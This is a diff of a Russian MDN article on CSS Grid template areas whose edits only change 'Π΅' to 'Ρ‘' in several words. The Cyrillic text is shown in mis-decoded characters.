-<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ² ΠΈΠΌΠ΅Π½Π°, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ ΠΊ созданию ΠΌΠ°ΠΊΠ΅Ρ‚Π°. На этот Ρ€Π°Π· вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ элСмСнты с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½ΠΎΠΌΠ΅Ρ€ΠΎΠ² Π»ΠΈΠ½ΠΈΠΉ, Π·Π°Π΄Π°Π½Π½Ρ‹Ρ… для самих элСмСнтов, ΠΌΡ‹ создаСм вСсь ΠΌΠ°ΠΊΠ΅Ρ‚ Π² Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅.</p>
+<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ² ΠΈΠΌΠ΅Π½Π°, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ ΠΊ созданию ΠΌΠ°ΠΊΠ΅Ρ‚Π°. На этот Ρ€Π°Π· вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ элСмСнты с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½ΠΎΠΌΠ΅Ρ€ΠΎΠ² Π»ΠΈΠ½ΠΈΠΉ, Π·Π°Π΄Π°Π½Π½Ρ‹Ρ… для самих элСмСнтов, ΠΌΡ‹ создаём вСсь ΠΌΠ°ΠΊΠ΅Ρ‚ Π² Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅.</p>
<pre class="brush: css">.wrapper {
display: grid;
@@ -93,7 +93,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
<p>{{ EmbedLiveSample('Grid_Area_1', '300', '330') }}</p>
</div>
-<p>Если ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ этот ΠΌΠ΅Ρ‚ΠΎΠ΄, Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ для Π³Ρ€ΠΈΠ΄-элСмСнтов, всС задаСтся для Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Π’Π΅ΡΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ описываСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ свойства {{cssxref("grid-template-areas")}}.</p>
+<p>Если ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ этот ΠΌΠ΅Ρ‚ΠΎΠ΄, Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ для Π³Ρ€ΠΈΠ΄-элСмСнтов, всС задаётся для Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Π’Π΅ΡΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ описываСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ свойства {{cssxref("grid-template-areas")}}.</p>
<h2 id="ΠžΡΡ‚Π°Π²Π»ΡΠ΅ΠΌ_ячСйку_пустой">ΠžΡΡ‚Π°Π²Π»ΡΠ΅ΠΌ ячСйку пустой</h2>
@@ -158,9 +158,9 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
<h2 id="ΠžΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ_нСсколько_ячССк">ΠžΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ нСсколько ячССк</h2>
-<p>Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ каТдая ΠΈΠ· областСй ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ нСсколько Π³Ρ€ΠΈΠ΄-ячССк, ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΌΡ‹ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ эффСкт Π·Π° счСт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Ρ‡Π΅Ρ€Π΅Π· ΠΏΡ€ΠΎΠ±Π΅Π» повторяСм имя этой Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΠΈΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎ Ρ€Π°Π·. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½ΠΎ Π²Ρ‹Ρ€Π°Π²Π½ΡΡ‚ΡŒ значСния Π² <code>grid-template-areas</code>. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ подравняли <code>hd</code> ΠΈ <code>ft</code>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΠΊΠΎΡ€Ρ€Π΅Π»ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ с  <code>main</code>.</p>
+<p>Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ каТдая ΠΈΠ· областСй ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ нСсколько Π³Ρ€ΠΈΠ΄-ячССк, ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΌΡ‹ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ эффСкт Π·Π° счёт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Ρ‡Π΅Ρ€Π΅Π· ΠΏΡ€ΠΎΠ±Π΅Π» повторяСм имя этой Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΠΈΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎ Ρ€Π°Π·. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½ΠΎ Π²Ρ‹Ρ€Π°Π²Π½ΡΡ‚ΡŒ значСния Π² <code>grid-template-areas</code>. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ подравняли <code>hd</code> ΠΈ <code>ft</code>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΠΊΠΎΡ€Ρ€Π΅Π»ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ с  <code>main</code>.</p>
-<p>ΠžΠ±Π»Π°ΡΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ создаСм ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΈΠΌΠ΅Π½, Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΎΠΉ. На Π΄Π°Π½Π½ΠΎΠΌ этапС нСльзя ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ L-ΠΎΠ±Ρ€Π°Π·Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ. Π’ спСцификации говорится, Ρ‡Ρ‚ΠΎ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ подобная Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ добавится. А сСйчас ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ строки Ρ‚Π°ΠΊ ΠΆΠ΅ Π»Π΅Π³ΠΊΠΎ, ΠΊΠ°ΠΊ ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ. НапримСр, Π΄Π°Π²Π°ΠΉΡ‚Π΅ сдСлаСм Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ наш сайдбар простирался Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° Ρ„ΡƒΡ‚Π΅Ρ€Π°. Для этого помСняСм <code>.</code> Π½Π°Β <code>sd</code>.</p>
+<p>ΠžΠ±Π»Π°ΡΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ создаём ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΈΠΌΡ‘Π½, Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΎΠΉ. На Π΄Π°Π½Π½ΠΎΠΌ этапС нСльзя ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ L-ΠΎΠ±Ρ€Π°Π·Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ. Π’ спСцификации говорится, Ρ‡Ρ‚ΠΎ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ подобная Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ добавится. А сСйчас ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ строки Ρ‚Π°ΠΊ ΠΆΠ΅ Π»Π΅Π³ΠΊΠΎ, ΠΊΠ°ΠΊ ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ. НапримСр, Π΄Π°Π²Π°ΠΉΡ‚Π΅ сдСлаСм Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ наш сайдбар простирался Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° Ρ„ΡƒΡ‚Π΅Ρ€Π°. Для этого помСняСм <code>.</code> Π½Π°Β <code>sd</code>.</p>
<pre class="brush: css">.header {
grid-area: hd;
@@ -275,7 +275,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
}
</pre>
-<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΌΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΌΡ‹ пСрСопрСдСляСм этот ΠΌΠ°ΠΊΠ΅Ρ‚ Π½Π° Π΄Π²ΡƒΡ…ΠΊΠΎΠ»ΠΎΠ½Π½Ρ‹ΠΉ,Β Π° ΠΏΡ€ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠΈ свободного пространства β€”Β Π½Π°Β Ρ‚Ρ€Π΅Ρ…ΠΊΠΎΠ»ΠΎΠ½Π½Ρ‹ΠΉ. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π΄Π»ΡΒ ΡˆΠΈΡ€ΠΎΠΊΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π° я ΠΎΡΡ‚Π°Π²Π»ΡΡŽΒ ΡΠ²ΠΎΡŽ Π΄Π΅Π²ΡΡ‚ΠΈΠΊΠΎΠ»ΠΎΠ½Π½ΡƒΡŽΒ Ρ‚Ρ€Π΅ΠΊΠΎΠ²ΡƒΡŽ сСтку, Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>grid-template-areas</code> я ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽ ΠΊΡƒΠ΄Π° стоит Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π³Ρ€ΠΈΠ΄-области.Β </p>
+<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΌΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΌΡ‹ пСрСопрСдСляСм этот ΠΌΠ°ΠΊΠ΅Ρ‚ Π½Π° Π΄Π²ΡƒΡ…ΠΊΠΎΠ»ΠΎΠ½Π½Ρ‹ΠΉ,Β Π° ΠΏΡ€ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠΈ свободного пространства β€”Β Π½Π°Β Ρ‚Ρ€Ρ‘Ρ…ΠΊΠΎΠ»ΠΎΠ½Π½Ρ‹ΠΉ. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π΄Π»ΡΒ ΡˆΠΈΡ€ΠΎΠΊΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π° я ΠΎΡΡ‚Π°Π²Π»ΡΡŽΒ ΡΠ²ΠΎΡŽ Π΄Π΅Π²ΡΡ‚ΠΈΠΊΠΎΠ»ΠΎΠ½Π½ΡƒΡŽΒ Ρ‚Ρ€Π΅ΠΊΠΎΠ²ΡƒΡŽ сСтку, Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>grid-template-areas</code> я ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽ ΠΊΡƒΠ΄Π° стоит Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π³Ρ€ΠΈΠ΄-области.Β </p>
<pre class="brush: css">@media (min-width: 500px) {
.wrapper {
@@ -308,13 +308,13 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
<h2 id="ИспользованиС_grid-template-areas_для_элСмСнтов_UI">ИспользованиС <code>grid-template-areas</code> для элСмСнтов UI</h2>
-<p>МногиС ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² grid, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ grid для ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π³Π»Π°Π²Π½ΠΎΠΉ страницы, ΠΎΠ΄Π½Π°ΠΊΠΎ grid ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒ ΠΆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Π° для Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… элСмСнтов. ИспользованиС {{cssxref ("grid-template-areas")}} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ особСнно приятным, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π² ΠΊΠΎΠ΄Π΅ Π»Π΅Π³ΠΊΠΎ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ выглядит ваш элСмСнт.</p>
+<p>МногиС ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² grid, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ grid для ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π³Π»Π°Π²Π½ΠΎΠΉ страницы, ΠΎΠ΄Π½Π°ΠΊΠΎ grid ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒ ΠΆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Π° для Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… элСмСнтов. ИспользованиС {{cssxref ("grid-template-areas")}} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ особСнно приятным, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π² ΠΊΠΎΠ΄Π΅ Π»Π΅Π³ΠΊΠΎ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ выглядит ваш элСмСнт.</p>
<p>Π’ качСствС ΠΎΡ‡Π΅Π½ΡŒ простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Β«ΠΌΠ΅Π΄ΠΈΠ°-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β». Π­Ρ‚ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ с пространством для изобраТСния ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ носитСля с ΠΎΠ΄Π½ΠΎΠΉ стороны, Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ - с Π΄Ρ€ΡƒΠ³ΠΎΠΉ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ справа ΠΈΠ»ΠΈ слСва ΠΎΡ‚ ΠΎΠΊΠ½Π°.</p>
<p><img alt="Images showing an example media object design" src="https://mdn.mozillademos.org/files/14671/4_Media_objects.png" style="height: 432px; width: 800px;"></p>
-<p>Наша сСтка прСдставляСт собой Π΄Π²ΡƒΡ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΡƒΡŽ Ρ‚Ρ€Π΅ΠΊΠΎΠ²ΡƒΡŽ сСтку, со столбцом для изобраТСния Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ <code>1fr</code> ΠΈ тСкстом <code>3fr</code>. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ с фиксированной ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ изобраТСния, Ρ‚ΠΎΠ³Π΄Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ столбСц изобраТСния ΠΊΠ°ΠΊ ΡˆΠΈΡ€ΠΈΠ½Ρƒ пиксСля ΠΈ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ <code>1fr</code>. Одна ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ° Ρ‚Ρ€Π΅ΠΊΠ° <code>1fr</code> Π·Π°Ρ‚Π΅ΠΌ Π·Π°ΠΉΠΌΠ΅Ρ‚ ΠΎΡΡ‚Π°Π²ΡˆΡƒΡŽΡΡ Ρ‡Π°ΡΡ‚ΡŒ пространства.</p>
+<p>Наша сСтка прСдставляСт собой Π΄Π²ΡƒΡ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΡƒΡŽ Ρ‚Ρ€Π΅ΠΊΠΎΠ²ΡƒΡŽ сСтку, со столбцом для изобраТСния Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ <code>1fr</code> ΠΈ тСкстом <code>3fr</code>. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ с фиксированной ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ изобраТСния, Ρ‚ΠΎΠ³Π΄Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ столбСц изобраТСния ΠΊΠ°ΠΊ ΡˆΠΈΡ€ΠΈΠ½Ρƒ пиксСля ΠΈ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ <code>1fr</code>. Одна ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ° Ρ‚Ρ€Π΅ΠΊΠ° <code>1fr</code> Π·Π°Ρ‚Π΅ΠΌ Π·Π°ΠΉΠΌΡ‘Ρ‚ ΠΎΡΡ‚Π°Π²ΡˆΡƒΡŽΡΡ Ρ‡Π°ΡΡ‚ΡŒ пространства.</p>
<p>ΠœΡ‹ прСдоставляСм области изобраТСния имя области сСтки <code>img</code> ΠΈ содСрТимоС тСкстовой области, Π·Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΈΡ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство <code>grid-template-areas</code>.</p>
@@ -407,7 +407,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
<p>РассмотрСв Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ способы размСщСния элСмСнтов Π½Π° Π½Π°ΡˆΠΈΡ… сСтках ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ свойства, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для опрСдСлСния сСтки, самоС врСмя Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π° ΠΏΠ°Ρ€Ρƒ сокращСний, доступных для опрСдСлСния сСтки ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ ΠΈΠ· всСго этого Π² ΠΎΠ΄Π½ΠΎΠΉ строкС CSS.</p>
-<p>Они ΠΌΠΎΠ³ΡƒΡ‚ быстро ΡΡ‚Π°Ρ‚ΡŒ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌΠΈ для чтСния для Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ для вашСго Π±ΡƒΠ΄ΡƒΡ‰Π΅Π³ΠΎ. Однако ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ спСцификации ΠΈ, вСроятно, Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с Π½ΠΈΠΌΠΈ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… ΠΈΠ»ΠΈ Π² использовании Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ, Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚Π΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ….</p>
+<p>Они ΠΌΠΎΠ³ΡƒΡ‚ быстро ΡΡ‚Π°Ρ‚ΡŒ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌΠΈ для чтСния для Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ для вашСго Π±ΡƒΠ΄ΡƒΡ‰Π΅Π³ΠΎ. Однако ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ спСцификации ΠΈ, вСроятно, Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с Π½ΠΈΠΌΠΈ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… ΠΈΠ»ΠΈ Π² использовании Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ, Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚Π΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ….</p>
<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ сокращСния (shorthand), стоит ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ shorthand Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ мноТСство свойств Π·Π° ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ <strong>ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹</strong> Π΄ΠΎ ΠΈΡ… Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅, ΠΈΠ»ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π² сокращСнии. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли Π²Ρ‹ 